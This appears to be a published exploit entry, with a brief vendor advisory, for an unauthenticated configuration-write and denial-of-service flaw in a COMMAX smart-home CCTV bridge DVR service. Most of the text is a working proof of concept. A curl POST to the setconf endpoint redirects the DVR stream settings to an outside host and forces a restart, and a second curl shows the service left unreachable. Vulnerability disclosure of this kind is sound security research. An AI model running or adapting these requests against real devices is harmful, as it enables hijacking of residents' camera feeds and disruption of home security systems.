70 lines
No EOL
2.2 KiB
Text
70 lines
No EOL
2.2 KiB
Text
# Exploit Title: COMMAX Smart Home Ruvie CCTV Bridge DVR Service - Config Write / DoS (Unauthenticated)
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# Date: 02.08.2021
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# Exploit Author: LiquidWorm
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# Vendor Homepage: https://www.commax.com
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COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS
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Vendor: COMMAX Co., Ltd.
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Prodcut web page: https://www.commax.com
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Affected version: n/a
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Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
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complex that provides advanced life values and safety.
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Desc: The application allows an unauthenticated attacker to change the configuration
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of the DVR arguments and/or cause denial-of-service scenario through the setconf endpoint.
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Tested on: GoAhead-Webs
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
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@zeroscience
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Advisory ID: ZSL-2021-5666
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Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php
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02.08.2021
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--
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#1
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$ curl -X POST http://192.168.1.1:8086/goform/setconf --data"manufacturer=Commax&Ch0=0&dvr0=rtsp%3A%2F%2Fadmin%3A1234zeroscience.mk%3A554%2FStream%2FCh01%3A554&dvr1=&dvr2=&dvr3=&dvr4=&dvr5=&dvr6=&dvr7=&dvr8=&dvr9=&dvr10=&dvr11=&dvr12=&dvr13=&dvr14=&dvr15=&dvr16=&dvr17=&dvr18=&dvr19=&dvr20=&dvr21=&dvr22=&dvr23=&ok=OK"
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* Trying 192.168.1.1...
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* TCP_NODELAY set
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* Connected to 192.168.1.1 (192.168.1.1) port 8086 (#0)
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> POST /goform/setconf HTTP/1.1
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> Host: 192.168.1.1:8086
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> User-Agent: curl/7.55.1
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> Accept: */*
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> Content-Length: 257
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> Content-Type: application/x-www-form-urlencoded
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>
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* upload completely sent off: 257 out of 257 bytes
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* HTTP 1.0, assume close after body
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< HTTP/1.0 200 OK
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< Server: GoAhead-Webs
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< Pragma: no-cache
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< Cache-control: no-cache
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< Content-Type: text/html
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<
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<html>
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<br><br><center><table><tr><td>Completed to change configuration! Restart in 10 seconds</td></tr></table></center></body></html>
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* Closing connection 0
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#2
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$ curl -v http://192.168.1.1:8086
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* Rebuilt URL to: http://192.168.1.1:8086/
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* Trying 192.168.1.1...
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* TCP_NODELAY set
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* connect to 192.168.1.1 port 8086 failed: Connection refused
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* Failed to connect to 192.168.1.1 port 8086: Connection refused
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* Closing connection 0
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curl: (7) Failed to connect to 192.168.1.1 port 8086: Connection refused |